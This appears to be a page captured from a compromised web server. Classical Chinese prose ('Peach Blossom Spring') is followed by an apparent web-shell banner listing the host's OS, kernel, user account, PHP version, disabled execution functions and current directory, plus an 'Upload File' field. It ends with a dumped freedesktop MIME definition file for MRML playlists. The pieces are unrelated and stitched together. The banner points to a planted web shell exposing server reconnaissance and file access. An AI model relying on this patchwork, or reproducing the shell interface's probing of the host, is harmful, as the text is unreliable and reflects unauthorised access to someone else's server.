晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/mime/text/ |
Upload File : |
<?xml version="1.0" encoding="utf-8"?> <mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="text/x-mrml"> <!--Created automatically by update-mime-database. DO NOT EDIT!--> <comment>MRML playlist</comment> <comment xml:lang="ar">قائمة تشغيل MRML</comment> <comment xml:lang="be@latin">Śpis piesień MRML</comment> <comment xml:lang="bg">Списък за изпълнение — MRML</comment> <comment xml:lang="ca">llista de reproducció MRML</comment> <comment xml:lang="cs">seznam k přehrání MRML</comment> <comment xml:lang="da">MRML-afspilningsliste</comment> <comment xml:lang="de">MRML-Wiedergabeliste</comment> <comment xml:lang="el">Λίστα αναπαραγωγής MRML</comment> <comment xml:lang="en_GB">MRML playlist</comment> <comment xml:lang="eo">MRML-ludlisto</comment> <comment xml:lang="es">lista de reproducción MRML</comment> <comment xml:lang="eu">MRML erreprodukzio-zerrenda</comment> <comment xml:lang="fi">MRML-soittolista</comment> <comment xml:lang="fo">MRML avspælingarlisti</comment> <comment xml:lang="fr">liste de lecture MRML</comment> <comment xml:lang="ga">seinmliosta MRML</comment> <comment xml:lang="gl">lista de reprodución MRML</comment> <comment xml:lang="he">רשימת השמעה MRML</comment> <comment xml:lang="hr">MRML popis izvođenja</comment> <comment xml:lang="hu">MRML-lejátszólista</comment> <comment xml:lang="ia">Lista de selection MRML</comment> <comment xml:lang="id">Senarai putar MRML</comment> <comment xml:lang="it">Playlist MRML</comment> <comment xml:lang="ja">MRML 再生リスト</comment> <comment xml:lang="ka">MRML რეპერტუარი</comment> <comment xml:lang="kk">MRML ойнау тізімі</comment> <comment xml:lang="ko">MRML 재생 목록</comment> <comment xml:lang="lt">MRML grojaraštis</comment> <comment xml:lang="lv">MRML repertuārs</comment> <comment xml:lang="nb">MRML-spilleliste</comment> <comment xml:lang="nl">MRML-afspeellijst</comment> <comment xml:lang="nn">MRML-speleliste</comment> <comment xml:lang="oc">lista de lectura MRML</comment> <comment xml:lang="pl">Lista odtwarzania MRML</comment> <comment xml:lang="pt">lista de reprodução MRML</comment> <comment xml:lang="pt_BR">Lista de reprodução do MRML</comment> <comment xml:lang="ro">Listă redare MRML</comment> <comment xml:lang="ru">Список воспроизведения MRML</comment> <comment xml:lang="sk">Zoznam skladieb MRML</comment> <comment xml:lang="sl">Seznam predvajanja MRML</comment> <comment xml:lang="sq">Listë titujsh MRML</comment> <comment xml:lang="sr">МРМЛ списак нумера</comment> <comment xml:lang="sv">MRML-spellista</comment> <comment xml:lang="tr">MRML oynatma listesi</comment> <comment xml:lang="uk">список відтворення MRML</comment> <comment xml:lang="vi">Danh mục nhạc MRML</comment> <comment xml:lang="zh_CN">MRML 播放列表</comment> <comment xml:lang="zh_TW">MRML 播放清單</comment> <acronym>MRML</acronym> <expanded-acronym>Multimedia Retrieval Markup Language</expanded-acronym> <glob pattern="*.mrml"/> <glob pattern="*.mrl"/> </mime-type>